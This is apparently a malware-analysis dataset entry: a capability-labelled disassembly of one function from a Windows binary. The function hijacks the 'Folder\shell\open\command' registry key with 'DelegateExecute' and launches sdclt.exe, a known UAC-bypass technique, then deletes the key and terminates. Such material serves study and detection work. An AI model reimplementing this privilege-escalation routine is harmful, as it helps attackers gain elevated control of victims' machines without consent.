Function at 0x421978
Capabilities:
Create process on windows
Delete registry key
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x960
push esi
push edi
call fcn.0041e932
cmp eax, 1
je 0x421c29
push 5
lea eax, [ebp - 4]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push str.Documents:ApplicationData
lea ecx, [ebp - 4]
call fcn.00406c53
lea eax, [ebp - 0xc]
push eax
call fcn.0041ea3f
pop ecx
lea ecx, [ebp - 4]
call fcn.00406f44
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0xc]
call fcn.00406f44
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x421a05
and dword [ebp - 0x18], 0
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 4]
call fcn.00406be2
mov eax, dword [ebp - 0x18]
jmp 0x421c2b
push dword [0x5601f4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 8], 0
je 0x421a36
lea eax, [ebp - 0x20]
push eax
call fcn.0041e2f0
pop ecx
push 0x429e4c
push closesocket
call fcn.0042170c
pop ecx
pop ecx
push 0x400
push 0
lea eax, [ebp - 0x960]
push eax
call fcn.0040132f
add esp, 0xc
push 0x400
lea eax, [ebp - 0x960]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x960]
push eax
push 0x42649b
push 0x429eb0
push closesocket
call fcn.00421694
add esp, 0x10
push 0x4264c2
push str.DelegateExecute
push 0x429f04
push closesocket
call fcn.00421694
add esp, 0x10
push 0x104
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._sdclt.exe
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov esi, str.test.vbs
lea edi, [ebp - 0x88]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
push 0x44
push 0
lea eax, [ebp - 0xcc]
push eax
call fcn.0040132f
add esp, 0xc
push 0x11
pop ecx
lea esi, [ebp - 0xcc]
lea edi, [ebp - 0x110]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [ebp - 0x7c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea esi, [ebp - 0x7c]
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0xa
pop ecx
mov esi, str.cmd.exe__C_C:WindowsSystem32_sdclt.exe
lea edi, [ebp - 0x560]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x1df
push 0
lea eax, [ebp - 0x537]
push eax
call fcn.0040132f
add esp, 0xc
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x560]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x358]
push eax
push 0x429f74
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x6c], 0x3c
mov dword [ebp - 0x68], 0x40
and dword [ebp - 0x64], 0
mov dword [ebp - 0x60], str.open
lea eax, [ebp - 0x358]
mov dword [ebp - 0x5c], eax
and dword [ebp - 0x58], 0
and dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 5
and dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 8], 0
je 0x421bf6
lea eax, [ebp - 0x20]
push eax
call fcn.0041e2a7
pop ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop edi
pop esi
leave
ret